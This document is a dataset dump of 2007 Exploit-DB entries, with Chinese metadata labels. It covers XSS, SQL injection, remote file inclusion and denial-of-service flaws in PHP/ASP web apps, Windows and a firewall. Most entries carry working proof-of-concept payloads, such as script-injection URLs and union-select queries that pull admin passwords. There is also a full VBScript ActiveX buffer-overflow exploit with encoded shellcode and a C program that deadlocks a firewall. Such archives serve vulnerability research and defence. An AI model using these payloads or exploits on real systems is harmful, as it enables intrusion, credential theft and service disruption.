QLWD/code_shield huggingface dataset:
标题: Atom Photoblog 1.0.1/1.0.9 - 'AtomPhotoblog.php' Multiple Input Validation Vulnerabilities EDB-ID: 30161 CVE: 2007-3134 类型: WEBAPPS 平台: PHP 发布日期: 2007-06-07 漏洞利用脚本: source: https://www.securityfocus.com/bid/24363/info

Atom PhotoBlog is prone to multiple input-validation vulnerabilities because it fails to adequately sanitize user-supplied input data before rendering it in a user's browser. These issues include multiple HTML-injection vulnerabilities and a cross-site scripting vulnerability.

Attackers could exploit these issues to steal cookie-based authentication credentials from legitimate users of the site; other attacks are also possible.

Versions prior to Atom PhotoBlog 1.0.9.1 are vulnerable.

http://www.example.com/atomphotoblog/atomPhotoBlog.php?do=index&tag=<ScRiPt%20%0a%0d>alert(1566213939)%3B</ScRiPt> URL: https://www.exploit-db.com/exploits/30161
标题: JFFNms 0.8.3 - 'auth.php' Multiple SQL Injections EDB-ID: 30171 CVE: 2007-3190 类型: WEBAPPS 平台: PHP 发布日期: 2007-06-11 漏洞利用脚本: source: https://www.securityfocus.com/bid/24414/info

Just For Fun Network Management and Monitoring System (JFFNMS) is prone to multiple remote vulnerabilities, including a cross-site scripting issue, an SQL-injection issue, and multiple information-disclosure issues.

An attacker can exploit these issues by manipulating the SQL query logic to carry out unauthorized actions on the underlying database, access sensitive information, and obtain cookie-based authentication credentials.

These issues affect versions prior to JFFNMS 0.8.4-pre3. 

http://www.example.com/auth.php?user='%20union%20select%202,'admin','$1$RxS1ROtX$IzA1S3fcCfyVfA9rwKBMi.','Administrator'/*&pass= URL: https://www.exploit-db.com/exploits/30171
标题: vBSupport 2.0.0 Integrated Ticket System - 'vBSupport.php' SQL Injection EDB-ID: 30168 CVE: 2007-3196 类型: WEBAPPS 平台: PHP 发布日期: 2007-06-09 漏洞利用脚本: source: https://www.securityfocus.com/bid/24397/info

vBSupport is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

An attacker can exploit this issue by manipulating the SQL query logic to carry out unauthorized actions on the underlying database.

http://www.example.com/4/vBSupport.php?do=showticket&ticketid=[SQL] URL: https://www.exploit-db.com/exploits/30168
标题: Microsoft Windows XP - GDI+ '.ICO' File Remote Denial of Service EDB-ID: 30160 CVE: 2007-2237 类型: DOS 平台: WINDOWS 发布日期: 2007-06-06 漏洞利用脚本: source: https://www.securityfocus.com/bid/24346/info

Microsoft Windows is prone to a remote denial-of-service vulnerability because it fails to properly handle maliciously crafted ICO files.

An attacker may exploit this issue by enticing victims into opening a malicious file.

Successful exploits will result in denial-of-service conditions on applications using the affected library. Applications such as Windows Explorer or Picture and Fax viewer have been identified as vulnerable. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/30160.ico.zip URL: https://www.exploit-db.com/exploits/30160
标题: JFFNms 0.8.3 - 'auth.php?user' Cross-Site Scripting EDB-ID: 30172 CVE: 2007-3189 类型: WEBAPPS 平台: PHP 发布日期: 2007-06-11 漏洞利用脚本: source: https://www.securityfocus.com/bid/24414/info
 
Just For Fun Network Management and Monitoring System (JFFNMS) is prone to multiple remote vulnerabilities, including a cross-site scripting issue, an SQL-injection issue, and multiple information-disclosure issues.
 
An attacker can exploit these issues by manipulating the SQL query logic to carry out unauthorized actions on the underlying database, access sensitive information, and obtain cookie-based authentication credentials.
 
These issues affect versions prior to JFFNMS 0.8.4-pre3. 

http://www.example.com/auth.php?user=[xss] URL: https://www.exploit-db.com/exploits/30172
标题: WMSCMS 2.0 - Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 30162 CVE: 2007-3137 类型: WEBAPPS 平台: PHP 发布日期: 2007-06-07 漏洞利用脚本: source: https://www.securityfocus.com/bid/24365/info

WmsCMS is prone to multiple cross-site scripting vulnerabilities because it fails to adequately sanitize user-supplied input data before rendering it in a user's browser.

Attackers could exploit these issues to steal cookie-based authentication credentials from legitimate users of the site; other attacks are also possible.

WmsCMS 2.0 is vulnerable; other versions may also be affected. 

http://www.example.com/4print.asp?p=60&sbl=>">[XSS]
http://www.example.com/4print.asp?p=60&sbr=>">[XSS] URL: https://www.exploit-db.com/exploits/30162
标题: ASP Folder Gallery - 'Download_Script.asp' Arbitrary File Download EDB-ID: 30159 CVE: 2007-3158 类型: WEBAPPS 平台: ASP 发布日期: 2007-06-06 漏洞利用脚本: source: https://www.securityfocus.com/bid/24345/info

ASP Folder Gallery is prone to an arbitrary-file-download vulnerability because the application fails to sufficiently sanitize user-supplied input.

An attacker can exploit this issue to download arbitrary files within the context of the affected webserver. 

http://www.example.com/aspfoldergallery/download_script.asp?file=viewimage.asp URL: https://www.exploit-db.com/exploits/30159
标题: 3Com OfficeConnect Secure Router 1.04-168 - 'Tk' Cross-Site Scripting EDB-ID: 30164 CVE: 2006-3974 类型: REMOTE 平台: HARDWARE 发布日期: 2007-06-08 漏洞利用脚本: source: https://www.securityfocus.com/bid/24374/info

OfficeConnect Secure Router is prone to a cross-site scripting vulnerability.

Exploiting this vulnerability may allow an attacker to perform cross-site scripting attacks on unsuspecting users in the context of the affected website. As a result, the attacker may be able to steal cookie-based authentication credentials and to launch other attacks.

This issue affects OfficeConnect Secure Router firmware 1.04-168; other versions may also be affected. 

http://example.com/cgi-bin/admin?page=1&tk=>[xss] URL: https://www.exploit-db.com/exploits/30164
标题: Hunkaray Okul Portaly 1.1 - 'Haberoku.asp' SQL Injection EDB-ID: 30141 CVE: 2007-3080 类型: WEBAPPS 平台: ASP 发布日期: 2007-06-04 漏洞利用脚本: source: https://www.securityfocus.com/bid/24288/info

HÃ¼nkaray Okul PortalÃ½ is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

An attacker can exploit this issue by manipulating the SQL query logic to carry out unauthorized actions on the underlying database.

HÃ¼nkaray Okul PortalÃ½ 1.1 is vulnerable to this issue.

http://www.example.com/okul/haberoku.asp?id=11%20union+select+0,sifre,kullaniciadi,3,4+from+admin URL: https://www.exploit-db.com/exploits/30141
标题: My Databook - 'diary.php?year' Cross-Site Scripting EDB-ID: 30153 CVE: 2007-3064 类型: WEBAPPS 平台: PHP 发布日期: 2007-06-04 漏洞利用脚本: source: https://www.securityfocus.com/bid/24311/info
 
My DataBook is prone to multiple input-validation vulnerabilities, including cross-site scripting and SQL-injection issues.
 
Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/apppath/diary.php?Sec=diary&month=06&year=</title><ScRiPt%20%0a%0d>alert(123123123)%3B</ScRiPt>&day=01 URL: https://www.exploit-db.com/exploits/30153
标题: Joomla! Component JD-Wiki 1.0.2 - 'wantedpages.php?MosConfig_absolute_path' Remote File Inclusion EDB-ID: 30158 CVE: 2007-3130 类型: WEBAPPS 平台: PHP 发布日期: 2007-06-06 漏洞利用脚本: source: https://www.securityfocus.com/bid/24342/info
 
JD-Wiki is prone to multiple remote file-include vulnerabilities because it fails to properly sanitize user-supplied input.
 
An attacker can exploit these issues to include arbitrary remote files containing malicious PHP code and execute it in the context of the webserver process. This may allow the attacker to compromise the application and to gain access to the underlying system.
 
JD-Wiki 1.0.2 and earlier versions are vulnerable to this issue; other versions may also be affected.
 
http://www.example.com/components/com_jd-wiki/bin/wantedpages.php?mosConfig_absolute_path= URL: https://www.exploit-db.com/exploits/30158
标题: My Databook - 'diary.php?delete' SQL Injection EDB-ID: 30152 CVE: 2007-3063 类型: WEBAPPS 平台: PHP 发布日期: 2007-06-04 漏洞利用脚本: source: https://www.securityfocus.com/bid/24311/info

My DataBook is prone to multiple input-validation vulnerabilities, including cross-site scripting and SQL-injection issues.

Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/apppath/diary.php?month=06&year=2007&day=01&delete=%27 http://www.example.com/apppath/diary.php?month=06&year=2007&day=01&delete=%00' URL: https://www.exploit-db.com/exploits/30152
标题: Joomla! Component JD-Wiki 1.0.2 - 'dwpage.php?MosConfig_absolute_path' Remote File Inclusion EDB-ID: 30157 CVE: 2007-3130 类型: WEBAPPS 平台: PHP 发布日期: 2007-06-06 漏洞利用脚本: source: https://www.securityfocus.com/bid/24342/info

JD-Wiki is prone to multiple remote file-include vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker can exploit these issues to include arbitrary remote files containing malicious PHP code and execute it in the context of the webserver process. This may allow the attacker to compromise the application and to gain access to the underlying system.

JD-Wiki 1.0.2 and earlier versions are vulnerable to this issue; other versions may also be affected. 

http://www.example.com/components/com_jd-wiki/bin/dwpage.php?mosConfig_absolute_path= URL: https://www.exploit-db.com/exploits/30157
标题: Linker 2.0.4 - 'index.php' Cross-Site Scripting EDB-ID: 30138 CVE: 2007-3055 类型: WEBAPPS 平台: PHP 发布日期: 2007-06-02 漏洞利用脚本: source: https://www.securityfocus.com/bid/24277/info

Codelib Linker is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks. 

http://www.example.com/index.php?cat=[xss] URL: https://www.exploit-db.com/exploits/30138
标题: eSellerate SDK 3.6.5 - 'eSellerateControl365.dll' ActiveX Control Buffer Overflow EDB-ID: 30144 CVE: 2007-3071 类型: REMOTE 平台: WINDOWS 发布日期: 2007-06-04 漏洞利用脚本: source: https://www.securityfocus.com/bid/24300/info

eSellerate SDK ActiveX control is prone to a buffer-overflow vulnerability because the application fails to bounds-check user-supplied data before copying it into an insufficiently sized buffer.

Successfully exploiting this issue allows remote attackers to execute arbitrary code in the context of the application using the ActiveX control (typically Internet Explorer). Failed exploit attempts likely result in denial-of-service conditions.

This issue affects eSellerate SDK 3.6.5.0; other versions may also be affected. 

<object classid='clsid:C915F573-4C11-4968-9080-29E611FDBE9F' id='test'></object>

<input language=VBScript onclick=tryMe() type=button value="Click here to start the test">

<script language = 'vbscript'>
Sub tryMe()
 buff      = String(997, "A")

 get_EIP   = unescape("%6B%AC%3F%7E") '0x7E3FAC6B call EBP from user32.dll

 nop       = String(24, unescape("%90"))

 shellcode = unescape("%eb%03%59%eb%05%e8%f8%ff%ff%ff%4f%49%49%49%49%49") & _
             unescape("%49%51%5a%56%54%58%36%33%30%56%58%34%41%30%42%36") & _
             unescape("%48%48%30%42%33%30%42%43%56%58%32%42%44%42%48%34") & _
             unescape("%41%32%41%44%30%41%44%54%42%44%51%42%30%41%44%41") & _
             unescape("%56%58%34%5a%38%42%44%4a%4f%4d%4e%4f%4a%4e%46%54") & _
             unescape("%42%30%42%50%42%50%4b%58%45%54%4e%53%4b%58%4e%37") & _
             unescape("%45%50%4a%47%41%30%4f%4e%4b%38%4f%44%4a%51%4b%48") & _
             unescape("%4f%55%42%42%41%30%4b%4e%49%44%4b%48%46%43%4b%38") & _
             unescape("%41%30%50%4e%41%53%42%4c%49%49%4e%4a%46%58%42%4c") & _
             unescape("%46%57%47%50%41%4c%4c%4c%4d%50%41%30%44%4c%4b%4e") & _
             unescape("%46%4f%4b%53%46%35%46%32%46%30%45%37%45%4e%4b%48") & _
             unescape("%4f%35%46%32%41%50%4b%4e%48%56%4b%38%4e%50%4b%54") & _
             unescape("%4b%48%4f%55%4e%31%41%30%4b%4e%4b%38%4e%41%4b%38") & _
             unescape("%41%30%4b%4e%49%58%4e%35%46%42%46%50%43%4c%41%43") & _
             unescape("%42%4c%46%36%4b%48%42%34%42%33%45%38%42%4c%4a%37") & _
             unescape("%4e%30%4b%48%42%34%4e%50%4b%48%42%57%4e%31%4d%4a") & _
             unescape("%4b%38%4a%46%4a%50%4b%4e%49%50%4b%48%42%38%42%4b") & _
             unescape("%42%30%42%50%42%30%4b%48%4a%36%4e%53%4f%35%41%33") & _
             unescape("%48%4f%42%46%48%35%49%58%4a%4f%43%48%42%4c%4b%57") & _
             unescape("%42%55%4a%46%42%4f%4c%48%46%50%4f%35%4a%46%4a%49") & _
             unescape("%50%4f%4c%38%50%30%47%55%4f%4f%47%4e%43%56%41%36") & _
             unescape("%4e%46%43%46%50%52%45%36%4a%37%45%36%42%30%5a")

 egg       = buff + get_EIP + nop + shellcode + nop

 test.GetWebStoreURL egg, "default"
End Sub
</script> URL: https://www.exploit-db.com/exploits/30144
标题: WebStudio CMS - 'index.php' Cross-Site Scripting EDB-ID: 30143 CVE: 2007-3070 类型: WEBAPPS 平台: PHP 发布日期: 2007-06-04 漏洞利用脚本: source: https://www.securityfocus.com/bid/24297/info

WebStudio CMS is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks. 

http://www.example.com/?pageid=[XSS] 
http://www.example.com/?pageid=[XSS] 
http://www.example.com/?pageid=[XSS] 
http://www.example.com/?pageid=-->[XSS] 
http://www.example.com/?pageid=email@address.com[XSS]domain.com 
http://www.example.com/?pageid=[XSS] 
http://www.example.com/index.php?pageid=>'>[XSS] 
http://www.example.com/index.php?pageid=[XSS] 
http://www.example.com/index.php?pageid=[XSS] 
http://www.example.com/index.php?pageid=-->[XSS] 
http://www.example.com/index.php?pageid=email@address.com[XSS]domain.com 
http://www.example.com/index.php?pageid=[XSS] URL: https://www.exploit-db.com/exploits/30143
标题: Agnitum Outpost Firewall 4.0 - Outpost_IPC_HDR Local Denial of Service EDB-ID: 30139 CVE: 2007-3086 类型: DOS 平台: MULTIPLE 发布日期: 2007-06-04 漏洞利用脚本: // source: https://www.securityfocus.com/bid/24284/info

Outpost Firewall is prone to a local denial-of-service vulnerability.

An attacker can exploit this issue to block arbitrary processes, denying service to legitimate users.

This issue affects Outpost Firewall 4.0 build 1007.591.145 and build 964.582.059; other versions may also be affected. 

/*

 Testing program for Enforcing system reboot with \"outpost_ipc_hdr\" mutex (BTP00002P004AO)
 

 Usage:
 prog
   (the program is executed without special arguments)

 Description:
 This program calls standard Windows API to open and capture mutex. Then an attempt to create a child process 
 causes the deadlock. To terminate this testing program and to release the mutex press Ctrl+C.

 Test:
 Running the testing program.

*/

#include <stdio.h>
#include <windows.h>
#include <ddk/ntapi.h>

void about(void)
{
  printf("Testing program for Enforcing system reboot with \"outpost_ipc_hdr\" mutex (BTP00002P004AO)\n");
  printf("Windows Personal Firewall analysis project\n");
  printf("Copyright 2007 by Matousec - Transparent security\n");
  printf("http://www.matousec.com/""\n\n");
  return;
}

void usage(void)
{
  printf("Usage: test\n"
         "  (the program is executed without special arguments)\n");
  return;
}


void print_last_error()
{
  LPTSTR buf;
  DWORD code=GetLastError();
  if (FormatMessage(FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM,NULL,code,0,(LPTSTR)&buf,0,NULL))
  {
    fprintf(stderr,"Error code: %ld\n",code);
    fprintf(stderr,"Error message: %s",buf);
    LocalFree(buf);
  } else fprintf(stderr,"Unable to format error message for code %ld.\n",code);
  return;
}


HANDLE capture_mutex(char *name)
{
  wchar_t namew[MAX_PATH];
  snwprintf(namew,MAX_PATH,L"%S",name);
  UNICODE_STRING uniname;
  RtlInitUnicodeString(&uniname,namew);

  OBJECT_ATTRIBUTES oa;
  InitializeObjectAttributes(&oa,&uniname,OBJ_CASE_INSENSITIVE | OBJ_OPENIF,0,NULL);
  HANDLE mutex;
  DWORD access=MUTANT_ALL_ACCESS;
  NTSTATUS status=ZwOpenMutant(&mutex,access,&oa);
  if (!NT_SUCCESS(status)) return 0;
  printf("Mutex opened.\n");
  if (WaitForSingleObject(mutex,5000)==WAIT_OBJECT_0) return mutex;
  ZwClose(mutex);
  return NULL;
}


int main(int argc,char **argv)
{
  about();

  if (argc!=1)
  {
    usage();
    return 1;
  }

  while (1)
  {
    HANDLE mutex=capture_mutex("\\BaseNamedObjects\\outpost_ipc_hdr");
    if (mutex)
    {
      printf("Mutex captured.\n"
             "Running system shell. This action will block the system.\n");

      WinExec("cmd",SW_NORMAL);
    } else
    {
      fprintf(stderr,"Unable to capture \"outpost_ipc_hdr\" mutex.\n");
      break;
    }
  }

  printf("\nTEST FAILED!\n");
  return 1;
} URL: https://www.exploit-db.com/exploits/30139
标题: Prototype of an PHP Application 0.1 - 'index.php?path_inc' Remote File Inclusion EDB-ID: 30128 CVE: 2007-3217 类型: WEBAPPS 平台: PHP 发布日期: 2007-06-01 漏洞利用脚本: source: https://www.securityfocus.com/bid/24266/info
         
'Prototype of an PHP application' is prone to multiple remote file-include vulnerabilities because it fails to properly sanitize user-supplied input to the application.
         
An attacker may leverage these issues to execute an arbitrary remote file containing malicious script code in the context of the webserver process. This may allow the attacker to compromise the application and the underlying system. Other attacks are also possible.
         
This issue affects 'Prototype of an PHP application' 0.1. 

http://example.com/script/index.php?path_inc=[shell] URL: https://www.exploit-db.com/exploits/30128
标题: Prototype of an PHP Application 0.1 - '/ident/index.php?path_inc' Remote File Inclusion EDB-ID: 30123 CVE: 2007-3217 类型: WEBAPPS 平台: PHP 发布日期: 2007-06-01 漏洞利用脚本: source: https://www.securityfocus.com/bid/24266/info
     
'Prototype of an PHP application' is prone to multiple remote file-include vulnerabilities because it fails to properly sanitize user-supplied input to the application.
     
An attacker may leverage these issues to execute an arbitrary remote file containing malicious script code in the context of the webserver process. This may allow the attacker to compromise the application and the underlying system. Other attacks are also possible.
     
This issue affects 'Prototype of an PHP application' 0.1. 

http://example.com/script//ident/index.php?path_inc=[shell] URL: https://www.exploit-db.com/exploits/30123
标题: PHPLive! 3.2.2 - 'chat.php?sid' Cross-Site Scripting EDB-ID: 30133 CVE: 2007-3060 类型: WEBAPPS 平台: PHP 发布日期: 2007-06-01 漏洞利用脚本: source: https://www.securityfocus.com/bid/24276/info

PHP Live! is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

PHP Live! 3.2.2 is vulnerable to this issue; other versions may also be affected. 

http://www.example.com/phplive/chat.php?sid=<script>alert(123);</script> URL: https://www.exploit-db.com/exploits/30133
标题: PHP 5.2.3 - EXT/Session HTTP Response Header Injection EDB-ID: 30130 CVE: 2007-3799 类型: REMOTE 平台: PHP 发布日期: 2007-06-04 漏洞利用脚本: source: https://www.securityfocus.com/bid/24268/info

PHP is prone to an HTTP-response-header-injection vulnerability because it fails to sanitize user-supplied input.

An attacker can exploit this issue to inject additional cookie attributes into session cookies. This may lead to other attacks.

This issue affects PHP 5.2.3 (and prior versions) and PHP 4.4.7 (and prior versions). 

http://www.example.com/session.php/PHPSESSID=ID;INJECTED=ATTRIBUTE;/ URL: https://www.exploit-db.com/exploits/30130
标题: Buttercup WFM - 'Title' Cross-Site Scripting EDB-ID: 30131 CVE: 2007-3049 类型: WEBAPPS 平台: PHP 发布日期: 2007-06-01 漏洞利用脚本: source: https://www.securityfocus.com/bid/24269/info

Buttercup WFM (Web File Manager) is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

This issue is reported to affect the Buttercup WFM - May 2007 edition. Other versions could also be affected. 

http://www.example.com/index.php?title=%3Cscript%3Ealert(1)%3C/script%3E URL: https://www.exploit-db.com/exploits/30131
标题: PHPLive! 3.2.2 - '/admin/header.php?admin[name]' Cross-Site Scripting EDB-ID: 30135 CVE: 2007-3060 类型: WEBAPPS 平台: PHP 发布日期: 2007-06-01 漏洞利用脚本: source: https://www.securityfocus.com/bid/24276/info
  
PHP Live! is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
  
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
  
PHP Live! 3.2.2 is vulnerable to this issue; other versions may also be affected.
  
http://www.example.com/phplive/admin/header.php?admin[name]=<script>alert(123);</script> URL: https://www.exploit-db.com/exploits/30135
标题: PHPLive! 3.2.2 - '/setup/footer.php' Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 30137 CVE: 2007-3060 类型: WEBAPPS 平台: PHP 发布日期: 2007-06-01 漏洞利用脚本: source: https://www.securityfocus.com/bid/24276/info
    
PHP Live! is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
    
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
    
PHP Live! 3.2.2 is vulnerable to this issue; other versions may also be affected.

http://www.example.com/phplive/setup/footer.php?LANG[DEFAULT_BRANDING]=<script>alert(123);</script>
http://www.example.com/phplive/setup/footer.php?PHPLIVE_VERSION=<script>alert(123);</script> http://www.example.com/phplive/setup/footer.php?nav_line=<script>alert(123);</script> URL: https://www.exploit-db.com/exploits/30137
标题: PHPLive! 3.2.2 - 'help.php' Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 30134 CVE: 2007-3060 类型: WEBAPPS 平台: PHP 发布日期: 2007-06-01 漏洞利用脚本: source: https://www.securityfocus.com/bid/24276/info
 
PHP Live! is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
 
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
 
PHP Live! 3.2.2 is vulnerable to this issue; other versions may also be affected.
 
http://www.example.com/phplive/help.php?LANG[DEFAULT_BRANDING]=<script>alert(123);</script> http://www.example.com/phplive/help.php?PHPLIVE_VERSION=<script>alert(123);</script> URL: https://www.exploit-db.com/exploits/30134